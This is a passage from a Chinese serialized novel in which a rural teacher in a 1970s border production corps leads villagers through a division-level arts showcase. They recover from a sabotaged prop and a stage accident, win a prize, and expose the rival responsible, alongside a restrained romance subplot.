她没再接话,继续弯腰继续收拾地上散落的沙包和石灰块。 她当然知道这不正常,至少不完全是。那个男人沉默的又无处不在的关照,早已超出了普通的革命友谊。而她,甚至开始享受这点小小的隐秘互动。 她低头捡起一个沙包,拍了拍上面的土,心想:现在这样,就挺好。戳破了反而会引来不少麻烦。 第70章 运动会带来的轻松气氛没持续几天。劳力被大量抽调, 食堂吃饭时都显得冷清了不少。 就在舒染几乎要以为汇演和评比都要无限期推迟时,陈远疆在一个放学时间,走到了教室。 当时舒染正在缝一个快散架的沙包。陈远疆的身影被夕阳拉得很长, 笼罩在她面前。 舒染抬起头,心里大概猜到了什么, 拍了拍手上的灰站起身。 陈远疆没多废话,直接从军装上衣口袋里掏出一张折叠整齐的纸递给她,“师部的正式通知。汇演时间地点, 具体要求,上面都有。” 舒染赶紧接过来,展开。纸张是粗糙的油印纸,上面的字迹清晰列出了汇演的时间、地点, 以及本次汇演的奖励办法。 她快速浏览着, 眼睛越来越亮。通知上写明, 本次汇演设立一、二、三等奖, 奖励不仅有奖状, 还有实实在在的物资:一等奖奖励一台收音机和五十元文化建设经费;二等奖奖励一批图书和三十元经费;三等奖奖励一些文具和二十元经费。 更重要的是, 下面还有一行小字:汇演成绩将作为本年度“优秀基层教育工作者”评比的重要参考依据。 舒染太激动了,这些奖励对她来说, 简直是雪中送炭,而且果然和评比挂钩了! 陈远疆看着她脸上抑制不住的兴奋, 忽然压低了声音,语速稍快地说了一句:“这次评审, 师部宣传科和文教处都很重视, 杨干事那边使了劲,不会再出现徇私舞弊的情况。如果节目质量过硬,名次好的话, 后续可能会有额外支持。” 他的话点到即止,但舒染瞬间就明白了。这不仅仅是一次汇演,这更是一个绝佳的机会,一个能让上级看到畜牧连教育成果、从而可能争取到更多资源倾斜的机会。 “我明白了!谢谢您,陈干事!”舒染攥着那张纸,声音都带着激动。 陈远疆看着她亮晶晶的眼睛,嗯了一声,视线扫过她沾着灰土的手指和那个破沙包,没再说什么,转身离开了。 消息传到连队,连里着实又轰动了一阵。马连长和刘书记脸上有光,特意批了条子,让参演的妇女和孩子这两天免于出工,专心排练。甚至连赵卫东,都难得地没有抱怨。 马连长特意在晚饭后集合时强调:“舒老师带队去师部汇演,是咱们畜牧连的脸面!能帮忙的,都伸把手!谁要是掉链子,我饶不了他!” 刘书记也笑呵呵地说:“这是大好事!拿出咱们畜牧连的精气神来!” 赵卫东虽然没多说,但也默许了职工们在完成本职生产的前提下,可以去帮点忙。 于是,小学教室成了最热闹的地方。 王大姐和李秀兰彻底成了后勤主管。王大姐把自己压箱底的一块红布贡献出来,和几个妇女一起,比照着样板戏的图片,熬了两个通宵,用粗针大线给李秀兰改出了一件勉强看得出款式的李铁梅上衣。 李秀兰则负责所有人的台词巩固,她拿着舒染重新誊写清楚的台词本,逮着空就拉着演员们对词,比舒染还严格。 小丫爹是木匠好手,他找来边角料,叮叮当当一阵敲打,给“李玉和”做了个更像样的木头手提灯,还给“磨刀人”做了个木头磨刀凳。 栓柱娘纳鞋底的手艺好,她给几个主要演员的布鞋都绣了朵简单的红云图案,算是舞台妆。 就连之前有些别扭的家属,看到连里这么重视,也渐渐转变态度,有的送来几个鸡蛋给演员们补身体,有的帮忙把演出服洗得干干净净。 舒染则忙着最后的排练和细化。她把陈远疆给的那本《简易绘图法》都快翻烂了,琢磨着如何利用有限的舞台和道具,尽可能增强表演效果。她还根据上次团部演出的经验,对台词和走位做了微调,让整个剧目的节奏更紧凑,情感冲击力更强。 陈远疆偶尔会出现在排练场外围,依旧是那副冷眼旁观的样子,但每次他来,角落里总会多出一捆修理好的道具木枪。 整个畜牧连虽然忙碌,却充满了期待。 出发的前一天,舒染带着演员们在教室做最后的排练。大家的动作越发熟练,台词也早已滚瓜烂熟,但紧张情绪却与日俱增。毕竟,这次要去的是师部,比团部更大更正规的地方。 “舒老师,师部的大礼堂,是不是比团部的还大?灯是不是特别亮?”小丫紧张地问,小手攥着衣角。 “怕啥!咱们在团部不也演好了?”石头挺着胸脯,努力做出不在乎的样子。 王大姐一遍遍地整理着演出服,嘀咕着:“可千万别掉链子,千万别掉链子……” 李秀兰则反复检查着那个玻璃瓶红灯,确保里面的蜡烛头能稳稳立住。 舒染看着大家,心里同样紧张。她拍拍手,给大家打气:“记住我们在团部是怎么演的,就把台下的领导当成咱们连的自己人,把故事讲给他们听!咱们的课本剧是真金,不怕火炼!” 正说着,教室门被推开,陈远疆走了进来。他手里拿着一个旧军用水壶,目光扫过略显紧张的众人,最后落在舒染身上。 “陈干事。”舒染迎上前。 陈远疆将水壶递给她,“明天路上喝。师部路远,天气干。” 舒染接过水壶,入手沉甸甸的,里面显然是装满了水。她心里一暖,低声道谢。 陈远疆没多说,转而看向演员们:“按平时练的演就行,我看好你们。” 他说完,冲舒染点了下头,便转身离开了。 出发的日子终于到了。 天还没亮,连部门口就热闹起来。演员们穿着浆洗得干干净净衣服,王大姐和李秀兰最后一遍检查着道具包,反复叮嘱着注意事项。 送行的人不少。马连长、刘书记都来了。 “放宽心!正常发挥就行!”马连长嗓门很大。 “安全第一,比赛第二!”刘书记笑着补充。 赵卫东也难得地说了句:“早点回来,生产任务不等人。” 许君君把一个小医疗包塞给舒染:“里面有点常用药,路上以防万一。”她又偷偷塞给舒染一小包冰糖,“含着,润嗓子。” 陈远疆没有出现在送行的人群里。但舒染在登上那辆送他们去团部转运点的破旧解放卡车时,看见他正站在连部办公室的窗口,她能感觉到他的目光。 卡车还是那辆卡车,路还是那条颠簸的土路。但这一次,车厢里的气氛完全不同。没有了之前的忐忑和自卑,取而代之的是一种经历过考验的自信和期待。 孩子们扒着车厢板,兴奋地看着外面逐渐变化的景色。妇女们互相检查着妆容,其实也就是把头发梳得更整齐,脸上擦点蛤蜊油,小声地最后一遍对着词。 舒染回头望了一眼渐渐远去的畜牧连,那些低矮的地窝子、广阔的戈壁滩、以及远处连绵的雪山,此刻都显得亲切。 她知道,她要去争取的,不仅仅是一个名次。 卡车喘着粗气,驶过茫茫的戈壁滩,朝着师部所在的方向,一路颠簸而去。越是靠近师部所在地,周围的景象越发不同。房屋更整齐,路上行人和车辆也明显增多。 卡车颠簸了近一天,终于在日落时分抵达了师部所在地。 比起团部,这里确实更像城市——有几条像样的砂石马路,路边排列着整齐的机关单位、招待所、大礼堂,甚至还有一个看起来规模不小的供销社。 师部招待所比团部的条件稍好,但依旧是多人间。舒染她们被安排进一个大房间,里面已经住了其他连队来的演员,叽叽喳喳,很是热闹。看到畜牧连这群穿着土气、道具寒酸的人进来,不少目光投了过来。 一个穿着崭新仿军装、脸上扑着粉的女演员,打量了一下李秀兰手里那件红布上衣,撇撇嘴,对同伴小声说:“瞧那针脚,歪的,红布也土气。”声音不大,但刚好能让这边听到。 王大姐脸色一沉,刚要开口,被舒染拉住了。舒染脸上挂着得体的微笑,仿佛没听见,自顾自安排大家放行李,整理床铺。这种程度的轻视,早在预料之中。 第二天去大礼堂走台熟悉场地时,他们才发现问题大了。师部的舞台又高又大,灯光也比团部亮堂得多。他们那点简陋的布景和道具,尤其是那盏玻璃瓶做的红灯,一放上去,顿时显得很小家子气。 站在空荡荡的舞台上,看着台下一排排座位,连最镇定的石头都忍不住咽了口唾沫。 “娘啊……这也太大了吧……”张桂芬小声惊呼。 王大姐看着头顶明晃晃的灯泡,手心里全是汗。 舒染让大家走了一遍位,适应了一下舞台的宽度和深度。没有音乐,没有灯光,只有他们的台词声在空旷的礼堂里回荡,显得格外微弱。一种无形的压力笼罩着每个人。 负责走台协调的是一个戴着眼镜、表情严肃的师部宣传干事。他看着畜牧连的装备,眉头拧成了疙瘩:“你们这……这就完了?布景呢?道具就这点东西?服装怎么也不统一一下?” 王大姐忍不住辩解:“首长,咱们连条件有限,就这些还是全连凑出来的……” “条件有限不是理由!”干事不耐烦地打断,“这是师部汇演,代表的是各单位的水平和面貌!你们这样上去,效果肯定大打折扣!” 李秀兰和几个妇女顿时蔫了,脸上火辣辣的,刚才进师部的那点新奇和兴奋荡然无存。 舒染迅速镇定下来。她走上前,语气不卑不亢:“干事同志,我们的节目形式是课本剧,重点在于用朴实的方式讲述革命故事,展现基层职工和群众学习样板戏、接受教育的精神面貌。道具服装虽然简陋,但情感是真实的,这也是我们节目的特点。” 干事推了推眼镜,打量了她一眼,似乎觉得她有点强词夺理,但也没再说什么,只是挥挥手:“行吧行吧,赶紧走一遍台,注意一下站位,别跑出光区。下一个节目准备!” 走台过程磕磕绊绊。舞台太大,演员们站位稀稀拉拉,声音也显得小。那盏红灯在强烈的舞台灯光下,几乎看不出红色,像个普通的玻璃瓶。效果比在团部时差了不是一星半点。 回到后台,大家都沉默了许多,王大姐一屁股坐在道具箱上,眼圈红了:“这可咋整啊……上去也是丢人……” 李秀兰咬着嘴唇,都快哭了。 小演员们也耷拉着脑袋。《 》 70-80 第71章 舒染看着垂头丧气的众人, 心里也急,但她知道这时候自己绝不能慌。 她深吸一口气,脑子飞快转动。 “都别丧气!”她声音不大, 语气却带着镇定,“舞台大, 咱们就把动作幅度放大!灯光亮,咱们就用声音把场子撑起来!红灯不显眼……咱们就想办法让它显眼!” 她立刻开始调整:“王大姐,您说台词的时候, 手势再放开点,就像在地头跟人吵架那个劲儿!秀兰,你的声音还得提,石头, 你上场下场的步子迈大点, 有点气势!” 接着, 她拿起那盏红灯, 左右看了看, 忽然问:“谁带红头绳或者红布条了?” 一个妇女从口袋里掏出一小截用剩的红头绳。 舒染眼前一亮, 接过头绳,又在许君君给的医疗包里拿出了胶布, 三下五除二,将红头绳一圈圈地缠在玻璃瓶靠近瓶口的位置, 缠得密密的。 然后,她让李秀兰提着灯, 站到舞台侧光能照到的地方一试, 果然!虽然瓶身依旧透明,但瓶口那一圈密集的红色在灯光下变得醒目, “舒老师真有办法!”大家围过来, 发出一阵低低的欢呼,绝望的气氛顿时被驱散了不少。 “可是……咱们的布景还是太空了。”李秀兰还是有点担心。 舒染沉吟了一下,忽然问:“你们刚才看到其他连队的道具堆在哪了吗?” “好像在后台西边那个杂物间门口。” 舒染眼睛一亮,“有办法了!王大姐,秀兰,你们带大家继续练,把声音和动作再抠细一点。我出去化个缘!” 她溜出后台,找到那个堆满道具的杂物间。果然,各连队用完后替换下来的旧布景、破桌椅都堆在那里。 她眼尖地发现了两样好东西:一块破旧的染成深蓝色的幕布片,还有一个看起来被淘汰的缺了一条腿的旧桌子。 她找到那个戴眼镜的干事,脸上堆起诚恳的笑容:“干事同志,跟您商量个事。我们想借那边两块淘汰的旧布景和一张破桌子临时用一下,保证不弄坏,用完立刻归还!您看行吗?也是为了咱们汇演的整体效果更好不是?” 干事正忙得焦头烂额,看她态度好,又只是用淘汰的破烂,不耐烦地挥挥手:“用用用!赶紧搬走!别碍事就行!” 舒染如获至宝,赶紧回去叫上石头和几个半大小子,七手八脚地把那块蓝幕布片和破桌子搬了回来。 她把蓝幕布片比划在舞台后方作为背景,顿时比光秃秃的墙壁好了太多。又把那张破桌子修理一下,用绳子绑稳了缺腿的那边,铺上一块从招待所借来的旧床单,成了“李奶奶家”的桌子。 虽然依旧简陋,但经过这么一调整,整个舞台画面立刻丰满了起来,有了点丰富的感觉,也不再显得那么寒酸了。 “舒老师,你真是太有办法了!”王大姐佩服得五体投地。李秀兰也重新露出了笑容。 大家士气大振,又抓紧时间在调整后的舞台环境里走了几遍台,感觉顺手多了。 * 师部汇演正式开场前的后台,各连队的演员们都在做最后的准备,对词、开嗓、整理行头。 畜牧连的一角显得格外突出。她们的简陋与周围的光鲜格格不入,但也正因为这份不同,吸引了不少目光。 周巧珍和八连的人就在不远处,她们的脸上涂着油彩,看起来确实专业不少。 周巧珍看着李秀兰手里那盏被舒染用红绳精心装饰过的玻璃瓶红灯,又看看王大姐身上那件打着补丁的红布衫,嘴角撇了撇,对身边人道:“瞧他们那寒酸样,也就只能搞点这种不上台面的东西。一会儿上了台,灯光一打,还不知怎么现眼呢。” 她的声音不大,刚好能传到畜牧连这边。王大姐脸色一沉,就要回嘴,被舒染用眼神制止了。 舒染脸上没什么表情,只是暗暗提高了警惕。周巧珍这种人,在这种竞争关头,难保不会使什么阴招。 果然,就在广播通知畜牧连节目准备,大家最后一次检查道具时,李秀兰拿过放在一旁的道具,发出一声惊呼:“呀!这红绳……怎么松了这么多?” 只见那盏红灯瓶口原本缠得密密的红绳,不知何时变得松散不堪,好几处都快散开了,显然是被人动过手脚。 如果就这样上台,在舞台灯光下,效果会大打折扣,甚至显得滑稽。 “谁干的?!”王大姐顿时火了,眼睛瞪向八连的方向。周巧珍正整理着衣领,嘴角挂着一丝若有若无的得意。 后台人多手杂,根本找不到证据。现在追究是谁干的毫无意义,关键是立刻解决问题。 “别慌!”舒染压下众人的慌乱,快速扫了一眼那松垮的红绳,又看了看周围。 “许医生送的医疗包里有没有绷带?白色的那种!”舒染语速飞快。 “有!”李秀兰立刻打开医疗包。 “快给我!” 舒染接过绷带,脑子飞速转动。红绳不够显眼?那就让它更显眼!她不仅不隐藏简陋,还要化简陋为特色! 她没有去重新缠紧那容易松脱的红绳,而是直接用剪刀剪下一段白色绷带,然后将绷带浸到红药水里!绷带瞬间被染成鲜红色。 在众人惊讶的目光中,舒染用这截临时染红的绷带,在原有红绳的下方,瓶身的中段,紧紧地缠上好几圈,打了一个牢固的结。顿时,那盏玻璃瓶灯上,出现了上下两圈醒目的红色——瓶口原本松散的红绳,和瓶身鲜红的绷带。 “秀兰,上台后,尽量这样拿着。”舒染示意李秀兰用手握住瓶身中段那圈新的红绷带,“让上下两圈红色都露出来!” 李秀兰试了一下,用力点头。这样拿着,灯更稳,而且那两圈红色在灯光下交错,反而形成了一种独特的视觉效果,有一种说不出的悲壮感。 “可是……这绷带是红的,会不会……”王大姐有点迟疑。 “要的就是这个效果!”舒染眼神锐利,“咱们的灯,就是受过伤、缝补过、但更加醒目的灯!正好契合咱们节目的精神!” 危机瞬间被化解,甚至还可能变成了特色。畜牧连的人都松了一口气,佩服地看着舒染。 周巧珍那边看到这急中生智的一幕,脸色顿时难看起来,她没想到对方反应这么快。 这时,工作人员来催场了。舒染最后扫视了一遍大家,目光坚定:“记住,不管发生什么,戏比天大!把咱们的故事,好好讲完!上台!” 幕布拉开。 师部大礼堂的舞台灯光炽亮,深蓝色的旧布景、绑着腿的破桌子、以及畜牧连一群穿着洗得发白、带着补丁衣裳的演员,出现在灯光下。 与之前那些服装统一、道具像模像样的节目相比,他们这寒酸的模样,像一群误入的垦荒者,瞬间引来了台下观众的惊讶低哗和窃窃私语。 评委席上,几位来自师部文工团和宣传部门的老专家皱起了眉头,交头接耳,笔尖在评分纸上悬停,显然对这种过于原生态的呈现形式感到意外。 评委们和观众们的反应让台上的演员们倍感压力。 李秀兰提着那盏瓶口缠着红绳的红灯,手抖得厉害,第一句台词卡在喉咙里,怎么也说不出来。 石头看着台下黑压压的人群和评委审视的目光,呼吸都急促起来。 侧幕条边的舒染,心提到了嗓子眼,但她用力掐着自己手心,盯着舞台心里默念:一定要稳住啊! 就在这时,或许是太紧张,李秀兰手一滑,那盏红灯竟然脱手,“哐当”一声摔在舞台地板上!玻璃瓶没碎,但里面的小蜡烛头却熄灭了! “啊!”李秀兰吓得低呼一声,脸色瞬间惨白。 台下响起一片倒吸凉气的声音和几声嗤笑。王大姐也愣住了。 评委席上的眉头皱得更紧了。 就在这冷场时刻,王大姐猛地回过神来。她一个箭步冲上前,不猛地一拍那张破桌子,发出“嘭”的一声巨响,把所有人的注意力都吸引了过去。 她指着地上那盏熄灭的红灯,眼泪唰地就下来了,那不是演出来的,是真急了,真疼了。 她带着哭腔对着台下,也像是质问命运般地呐喊:“天杀的!连盏灯……连盏灯都不让俺们留吗?!十七年了!风里雨里,俺们藏着掖着,连句亮堂话都不敢说!就指着这点亮光,指望着孩子能把这点念想传下去啊!这灯灭了……可俺们心里的火,灭不了!” 这完全超出剧本的即兴发挥,带着一种被逼到绝境的爆发力,反而比任何精心设计的表演都更具冲击力。 台下瞬间鸦雀无声,所有人都被这突如其来的变故和王大姐的表演震住了。 李秀兰被王大姐这一下吼得激灵一下,羞愧和委屈化成了力量,她猛地扑过去,不是去扶王大姐,而是跪倒在地,颤抖着双手捧起那盏熄灭的红灯,像是捧着无比珍贵的信仰。 她没有看台下,只盯着那盏灯,用带着哭腔的声音接上,仿佛在发誓: “奶奶!灯灭了,咱再点!血凉了,咱用胸口捂热!咱家的表叔数不清,没有大事不登门!可咱家的念想,断不了!铁梅我,就是砸锅卖铁,也要让这灯……再亮起来!” 她猛地抬起头,脸上还挂着泪,眼神却亮得惊人,死死盯着虚空,仿佛敌人就在眼前。 这意外引发的连锁反应,反而阴差阳错地将情绪推向了前所未有的高潮。整个舞台弥漫着一种绝境求生的悲壮感和誓死不屈的决绝的气氛。 石头被这情绪彻底点燃,他挺起胸膛,声音带着少年的赤诚,怒吼道:“娘!妹妹!咱不怕!咱啥都不怕!咱跟他们干到底!” 栓柱那声“磨剪子嘞——戗菜刀——!”适时响起,更像是一种战斗的号角。 后续的表演,演员们完全抛开了拘谨和形式,每一个动作,每一句台词,都灌注了真实情感。那盏虽然熄灭却始终被李秀兰紧紧捧着的红灯,成了舞台上最悲怆的象征。 当最后,所有演员围拢过来,李秀兰将那盏熄灭的红灯高高举过头顶,所有人齐声吼出“打不尽豺狼决不下战场!”。 幕布缓缓拉上。 台上,演员们瘫坐在地,王大姐还在抹眼泪,李秀兰死死抱着那盏灯,浑身发抖。 台下,在经过几秒的寂静后,掌声从观众席传来,甚至还有喊好声。 回到后台,畜牧连的人们像虚脱了一样,半天没人说话。刚才台上那惊心动魄的一幕,让她们现在还在后怕。 其他连队的演员看他们的眼神都变成了佩服。周巧珍张了张嘴,最终什么也没说出来。 评比的过程波澜再起,评委们的分歧比预想的更大。 保守派专家痛心疾首:“胡闹!简直是胡闹!重大演出事故!即兴发挥,完全脱离了剧本和规范!此风不可长!必须严厉批评!名次想都别想!” 开明派代表则激动万分:“这才是真正的艺术!源于生活,高于生活!意外?那是天赐的戏剧转折!后面的即兴反应和情感爆发,是任何排练都排不出来的!真实!有力!直击灵魂!这不仅不该罚,更应该重奖!” 双方争得面红耳赤。 杨振华据理力争:“同志们!我们评选的是节目效果和思想感染力!畜牧连的节目,或许形式有瑕疵,甚至出了意外,但恰恰是这个意外,激发了演员最真实的情感,将革命者面对挫折永不屈服的精神展现得淋漓尽致!观众的反应说明了一切!这难道不正是我们文艺宣传追求的最高境界吗?” 最终,经过更加激烈的争论和权衡,评委会再次达成了一个折中方案:充分肯定畜牧连节目情感的现场感染力,对其舞台事故不予追究,但对即兴发挥的形式持保留意见。鉴于艺术效果和群众反响都很好,授予二等奖,奖励一批图书和三十元文化建设经费。 同时,鉴于其节目在意外面前展现出的顽强精神和集体应变能力,额外颁发“特别精神风貌奖”,奖励一台收音机。 当最终结果宣布时,后台都懵了。 二等奖保住了,经费和图书有了,还额外得了一个特别奖! 王大姐愣了半天,猛地一拍大腿:“哎呦俺的娘!摔了个灯,还摔出个收音机来?!” 李秀兰破涕为笑,抱着那盏红灯亲了一口。 舒染也长长地舒了一口气,心中感慨万千。这真是山重水复疑无路,柳暗花明又一村!虽然过程惊险万分,但结果却比预想的还好! 她明白,她们赢得的,不仅仅是奖品,更是一种最高肯定。 然而,事情还没完。 就在师部领导准备上台颁奖时,那位之前负责后台协调、对畜牧连颇为不耐烦的戴眼镜干事,一脸严肃地带着两个保卫科的人来到了后台八连的区域,径直走向周巧珍。 “周巧珍同志,请你解释一下,汇演前大约十五分钟,你短暂离开你们连队区域,到道具堆放处做了什么?”干事的语气非常严厉。 周巧珍脸色唰地一下变得惨白,强作镇定:“我……我没做什么,就去整理了一下我们自己的道具……” “是吗?”干事推了推眼镜,从口袋里掏出一小截被踩脏的和畜牧连红灯上一模一样的红绳,“这是在道具堆旁边发现的,有人看见你当时在附近弯了一下腰。而且,畜牧连的红绳莫名松散,时间上也吻合。你还有什么话说?” 原来,舒染在发现红绳被动手脚后,虽然第一时间想办法补救避免了影响演出,但并没有忍气吞声。 她悄悄找到了那位看起来办事认真的眼镜干事,将自己的怀疑和发现的红绳异常情况进行了报告。她没说一定是周巧珍,只提供了线索和时间点。 眼镜干事起初觉得是小事,不想管,但舒染强调:“这不是个人恩怨,这是破坏集体演出秩序。今天能松我们的红绳,明天就能拆别人的舞台。师部汇演,容不得这种歪风邪气。”这话戳中了干事。他于是暗中进行了查问,果然找到了目击者和物证。 人证物证俱在,周巧珍无法抵赖,支支吾吾地承认了,说是“看不惯她们搞特殊,想开个玩笑”。 “开玩笑?”干事脸色铁青,“这是严重的无组织无纪律行为!破坏兄弟单位演出,性质恶劣!你们八连的节目取消评奖资格!你的问题,会后由你们连队和保卫科严肃处理!” 周巧珍彻底傻了,她身边的同伴也吓得不敢说话。八连辛辛苦苦排练,就因为她的嫉妒和小动作,全部付诸东流。 这一幕,被后台许多人看在眼里。大家看向畜牧连的眼神,除了之前的敬佩,又多了几分同情和了然。而看向周巧珍和八连的目光,则充满了鄙夷。 舒染远远看着,脸上没什么表情。她不是圣人,没那么多以德报怨的胸怀。在现代职场,她深知对恶意宽容就是对自己残忍。该反击时就要反击,既要解决问题,也要让使坏的人付出代价。这才是保护自己和团队最有效的方式。 王大姐啐了一口:“活该!心术不正!” 李秀兰有些后怕地说:“幸好舒老师你发现了……” 最终,舒染和畜牧连的人昂首挺胸地上台领奖。她们拿到的不仅是奖状和物资,更有一种反击胜利的意味,还赢得了所有人的尊重。 归去的卡车上,气氛更加热烈。 那台用“舞台事故”换来的收音机成了最宝贝的东西,被大家轮流抱着。 “回去就能听见毛主席的声音了!” “还能听歌哩!” “咱们连也是有大件的人家了!” 三十元经费和图书让舒染心里踏实无比。那本“特别精神风貌奖”的证书,则被王大姐像宝贝一样揣在怀里,逢人就想拿出来看看。 夕阳如火,戈壁辽阔。 王大姐看着窗外,忽然叹了口气,又笑了:“现在想想,还真得亏摔了那一下。不然,俺也吼不出那些话。” 李秀兰心有余悸:“我当时魂都快吓没了……可现在觉得,值!” 石头看着远方,眼神坚定:“以后遇到啥事,咱都不怕!就像舒老师说的,办法总比困难多!” 阿迪力重重地点头:“石头说得对!” 舒染看着大家,经过这一次的师部之行,他们的眼神里少了些最初的怯懦,多了种自信。 师部汇演归来的卡车驶近了畜牧连。车轮碾过的不再像上次那样冻得硬邦邦的土路,而是被雪水浸泡后又经车轮反复碾压形成的泥泞道。 卡车不时打滑,溅起大片泥浆。 远远望见连队的轮廓时,车上的人都愣了一下。没有像上次那样的人群聚集在连部门口,只有几个玩耍的孩子在泥地边蹚水玩。 “咋……没人?”王大姐扒着车厢板,有些失望地嘟囔。 “是不是都出工了?”李秀兰猜测道,心里也有些打鼓。 舒染心里也掠过一丝疑惑,但随即释然。开春生产任务压头,不可能再像冬天那样全员出来迎接。她笑着安慰大家:“肯定都忙着呢,咱们悄没声回去也好。” 当卡车终于开到连部门前的空地时,只见从连部门口到她们下车的地方,泥泞的地面上,密密麻麻铺满了一层厚厚的麦草,像一条专门迎接她们的黄金地毯! 麦草吸走了泥水,踩上去软软的,带着一股干燥草木香气。 马连长、刘书记,还有不少没能出工的家属、老人以及刚轮休下来的职工,都站在麦草路的尽头,脸上带着笑容,用力地鼓着掌。 “欢迎咱们的英雄回来!”马连长嗓门依旧洪亮。 “辛苦了!辛苦了!”刘书记笑呵呵地上前。 石会计的爱人、栓柱娘等几个妇女,赶紧端上来几碗冒着热气的姜糖水:“快,快喝口热的,解解乏!” 原来,连里早就估算着她们回来的时间,特意攒了麦草铺路,既解决了泥泞不堪的问题,又用这种方式表达了欢迎。 “哎呀!这……这咋好意思!”王大姐眼睛都热了,差点又掉下泪来。 李秀兰和其他人也都激动得不知说什么好,捧着姜糖水,一个劲儿地道谢。 孩子们则一眼就看到了被王大姐小心翼翼抱在怀里的那个用布包着的收音机。 “收音机!真的是收音机!”孩子们尖叫着围上来,想摸又不敢摸。 大人们也好奇地伸长了脖子,脸上洋溢着稀罕的神情。这可是整个畜牧连第一件如此现代化的宝贝! 这时,陈远疆也从连部走出来,依旧是那副冷峻的样子,但目光在舒染和那台收音机上停留了一瞬脸上的表情柔和了不少,朝舒染点了点头。 赵卫东也在一旁,看着那热闹场面,破天荒地没提生产任务,反而对马连长说:“这下好了,以后听上级指示和精神更方便了。” 舒染趁机上前,先将二等奖的奖状和“特别精神风貌奖”的证书郑重地交给马连长和刘书记,然后大声宣布:“连长,书记,这次汇演,我们获得了二等奖,奖励三十元文化建设经费和一批图书!还额外获得了‘特别精神风貌奖’,奖励了这台收音机!这都是咱们畜牧连集体的荣誉!” 掌声再次热烈响起。 舒染又补充道:“这三十元经费,我建议,一部分用来给学校添置急需的文具和体育用品,另一部分,买些生产用具或者物资,也算咱们对连队生产的一点支持!”她深知,只有将荣誉与连队的整体利益捆绑,才能获得最长久的支持。 马连长和刘书记闻言,脸上笑容更盛,连连说好。 接着,舒染又拿出在师部供销社买的小零食,分给围观的孩子们,引得一阵欢呼。 热闹的欢迎场面持续了一阵,人群才渐渐散去。孩子们追着抱收音机的王大姐跑了,职工们也都各自忙去。连部门前,只剩下铺地的麦草,和几个还没离开的人。 舒染把最后一点道具搬回教室,出来时,看见陈远疆还站在那,似乎是在检查铺地的麦草有没有被踩乱,又像是在等人。 舒染走过去,脚下踩着松软的麦草,发出窸窣的声响。 “陈干事,还没回去休息?”她主动开口,语气轻松。 陈远疆转过身,目光落在她身上,从上到下快速扫了一眼,像是确认她完好无损,然后才“嗯”了一声,算是回答。 他的视线在她沾了些泥点的裤脚上停顿了一瞬。 “这次……又多亏您了。”舒染指的是那本《简易绘图法》和可能存在的在她不知道的地方提供的支持。 陈远疆移开目光,看向远处正在融雪的戈壁,语气平淡:“东西是死的,人是活的。是你们自己争气。”他顿了顿,像是斟酌了一下词句,才又补充道,“过程……我听说了。处理得不错。” 他指的显然是红绳风波和台上意外。看来杨干事或者别的渠道,已经把师部发生的细节传回来了。 舒染笑了笑,带着点小得意,也带着点试探:“没办法,被逼到份上了,总不能真让人看了笑话。不过,也多亏了您给的那本小册子,给了我点启发。”她没提具体怎么启发的,留给对方自己去想。 陈远疆又“嗯”了一声,没接话,他从军装口袋里摸出一样东西,递过来。 是一小盒常见的、印着“万金油”字样的清凉油。 “开春了,蚊虫多。晚上批作业,抹点,醒神,防叮咬。”他的语气依旧硬邦邦的,像在下达指令,眼睛却看着一旁的麦草。 舒染接过盒子,指尖不可避免地碰到了他的手指,陈远疆迅速缩回手。 “谢谢。” “走了。”陈远疆像是完成了任务,立刻转身,大步流星地朝着连部走去。 舒染望了望天边,也转身朝着教室走去。 还有很多事要做呢。 第72章 师部汇演带来的兴奋劲儿还没过去, 连队的生活就迅速进入了春耕生产的紧张节奏。 舒染也忙得脚不沾地。白天要抓紧一切空隙给孩子们上课,督促扫盲班的学习,晚上还要整理师部汇演的经验总结, 以及构思如何利用那三十元经费和即将到来的评比机会。 这天下午,她正带着几个大孩子在教室后面的空地上学习认各种农具和种子的名字, 一辆绿色的吉普车停在了连部门口。 车上下来的人是杨振华。他被提干了,代表师部宣传科下来调研基层文化建设情况,顺便看看汇演获奖单位的后续工作。 杨振华和连领导简短交谈后, 就径直朝着教室走来。 “舒染同志!忙着呢?”杨振华笑容满面,“我可是专门来看望咱们的英雄模范来了!” “杨干事!您怎么来了?”舒染有些意外,连忙迎上去,拍了拍手上的土。 “来看看你们啊!师部领导对你们这次汇演的表现评价很高, 让我一定要下来深入了解情况, 看看还有什么困难, 需要什么支持。” 杨振华语气热情, 目光扫过简陋的教室和孩子们, 带着明显的赏识, “尤其是你,舒染同志, 很有想法,很有闯劲!那份关于课本剧与扫盲教育结合的报告, 我看了,写得非常好!” 他说话间, 很自然地从公文包里拿出一个牛皮纸信封:“哦, 对了,这是师部图书馆淘汰下来的一批旧期刊,我觉得可能对你教学有用, 顺便给你带来了。” 舒染接过信封,有点厚度,里面确实是些旧的《人民画报》之类的杂志,虽然过期,但对孩子们来说绝对是开拓眼界的好东西。 “太谢谢您了,杨干事!这可真是雪中送炭!” “客气什么!支持基层教育,本来就是我们的工作嘛!”杨振华摆摆手,显得很随和。 他又兴致勃勃地和舒染讨论起如何进一步改进节目,如何将扫盲成果巩固扩大,甚至提到了可能推荐她去师部做经验交流的可能性。 两人站在教室门口,聊得投入。 杨振华知识渊博,思路开阔,提出的很多建议都让舒染觉得很有启发。远远看去,倒像是一副干部关心基层、同志热情交流的和谐画面。 就在这时,陈远疆和赵卫东从地里检查春播情况回来,两人都是一腿泥。看到教室门口的景象,赵卫东嘀咕了一句:“师部的人咋又来了?” 陈远疆的脚步顿了一下,目光落在谈笑风生的杨振华和舒染身上,尤其是杨振华那身干净的衣服和舒染脸上因为讨论而泛起的兴奋光泽上,没什么表情,依旧是一副冷硬的姿态。 他面无表情地从他们旁边几米远的地方径直走过,直接走向连部。 舒染正听杨振华说着话,眼角余光瞥见了那个熟悉的身影和他那一裤腿的泥泞,心里莫名地虚了一下,下意识地想开口打招呼。 但陈远疆走得极快,根本没给她机会。 杨振华似乎也注意到了,笑着问:“那是陈特派员吧?看着挺忙。” “啊……是啊。”舒染收回目光,心里有点说不清道不明的异样,刚才的热络劲儿也淡了些。 杨振华又聊了几句,便告辞去了别处调研。 傍晚,舒染去连部送一份材料,在门口遇到了正出来的陈远疆。 “陈干事。”她叫住他。 陈远疆停下脚步,看着她。 “杨干事今天送来些旧期刊,对孩子们挺有用的。”舒染没话找话地说了一句,像是在解释下午的事情。 陈远疆只是“嗯”了一声,语气没有任何起伏:“上级关心是好事。” 说完,他像是想起什么,从口袋里掏出一个小本子,撕下一页纸,递给她,上面用铅笔写了几行字,是关于近期边境地区的一些防范要求,语气公事公办:“这是保卫处刚下发的通知,涉及学校和学生安全,你看一下,必要时组织学习。” 